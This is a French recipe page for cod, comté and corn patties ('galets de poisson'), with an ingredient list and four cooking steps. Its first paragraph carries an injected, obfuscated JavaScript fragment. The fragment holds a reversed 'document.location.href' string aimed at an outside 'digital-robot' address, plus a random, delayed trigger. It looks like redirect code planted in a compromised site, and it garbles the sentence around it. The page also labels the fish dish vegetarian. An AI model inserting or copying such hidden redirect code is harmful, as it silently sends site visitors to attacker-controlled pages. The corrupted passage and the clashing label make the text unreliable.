Galets de poisson au comté et au maïs
2018-01-01- Cuisine : Poissons
- Thématique : Végétarien
- Niveau : Facile
Hachez le morceau de cabillaud. Déposez le dans un saladier et incorporez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les Ingrédients, salez, poivrez. Formez des boules de cabillaud que vous aplatissez.
Ingrédients
- Pour 4 personnes
- 250 g de cabillaud cru
- 100 g de comté râpé
- 1 œuf
- 140 g de maïs
- 2 cuillères à soupe de maïzena
- 1 cuillère à soupe de jus de citron
- 2 cuillères à soupe de persil plat ciselé
- 1 gousse d'ail écrasée
- Sel
- Poivre du moulin
Préparation de la recette
Etape 1
Hachez le morceau de cabillaud. Déposez le dans un saladier et incorporez tous les Ingrédients, salez, poivrez. Formez des boules de cabillaud que vous aplatissez.
Etape 2
Déposez de la farine dans une assiette. Enrobez les galets de farine en les secouant pour faire tomber l'excédent de farine.
Etape 3
Faites les cuire dans une poêle avec de l'huile d'olive, sur feu vif pendant 3 minutes de chaque côté.
Etape 4
Retirez les galets de la poêle, déposez les sur du papier absorbant et servez avec des pommes de terre vapeur.
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